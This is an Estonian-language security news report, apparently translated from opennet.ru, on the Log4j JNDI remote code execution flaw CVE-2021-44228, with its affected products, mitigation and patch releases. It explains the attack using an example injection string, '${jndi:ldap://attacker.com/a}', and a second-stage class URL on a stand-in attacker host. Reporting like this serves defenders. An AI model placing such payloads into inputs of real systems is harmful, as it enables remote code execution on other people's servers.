Apache Log4j, populaarne logimise raamistik Java-rakendustes, on avastatud kriitiline haavatavus, mis vĂ”imaldab tĂ€ita suvalist koodi, kui logitakse spetsiaalselt vormindatud vÀÀrtust vormingus «{jndi:URL}». RĂŒnnak vĂ”ib suunata Java-rakendustele, mis logivad vÀÀrtusi, mis on saadud vĂ€listest allikatest, nĂ€iteks probleemsete vÀÀrtuste vĂ€ljastamine veateadetesse.
On mĂ€rgitud, et probleemiga on haavatavad peaaegu kĂ”ik projektid, mis kasutavad selliseid raamistikku nagu Apache Struts, Apache Solr, Apache Druid vĂ”i Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodata on, et haavatavus vĂ”ib pĂ”hjustada ulatuslikku rĂŒnnakute laine ettevĂ”tte rakendustele, korrates kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida veebirakendustes kasutab hinnanguliselt 65% Fortune 100 ettevĂ”tetest. Juba on registreeritud katseid vĂ”rgu skaneerimiseks haavatavate sĂŒsteemide leidmiseks.
Probleem sĂŒveneb veelgi, kuna juba on avaldatud töötav eksploit, kuid stabiilsete harude jaoks ei ole praegu lahendusi vĂ€lja töötatud. CVE-ID-d ei ole veel mÀÀratud. Lahendus on lisatud ainult testiversiooni log4j-2.15.0-rc1. RĂŒnnakute vĂ€ltimiseks soovitatakse seada parameeter log4j2.formatMsgNoLookups vÀÀrtusele true.
Probleem tekkis, kuna log4j toetab erimaskide «{}» töötlemist logifaili vĂ€ljundites, kus vĂ”isid toimuda JNDI (Java Naming and Directory Interface) pĂ€ringud. RĂŒnnak seisneb stringi edastamises koos asendusega «${jndi:ldap://attacker.com/a}», mille töötlemise kĂ€igus saadab log4j pĂ€ringu server attacker.com LDAP-pĂ€ring JAVA klassi tee kohta. Tagasi saadetud serveriga rĂŒndaja tee (nĂ€iteks http://second-stage.attacker.com/Exploit.class) laaditakse ja toimib jooksva protsessi kontekstis, andes rĂŒndajale vĂ”imaluse kĂ€ivitada sĂŒsteemis juhuslikku koodi, kasutades praeguse rakenduse Ă”igusi.
Lisa 1: Haavatavusele on antud identifikaator CVE-2021-44228.
Lisa 2: Leidti turvameetmete ĂŒmbersĂ”itmise meetod, mis on lisatud versioonile log4j-2.15.0-rc1. Uus vĂ€rskendus log4j-2.15.0-rc2 on pakutud, et pakkuda pĂ”hjalikumat kaitset haavatavuse vastu. Koodis on esile tĂ”stetud muudatus, mis on seotud ÀÀrmiselt toksilise JNDI URL-i vale vormindamise juhtumite kĂ€sitlemise puudumisega.
Allikas: opennet.ru
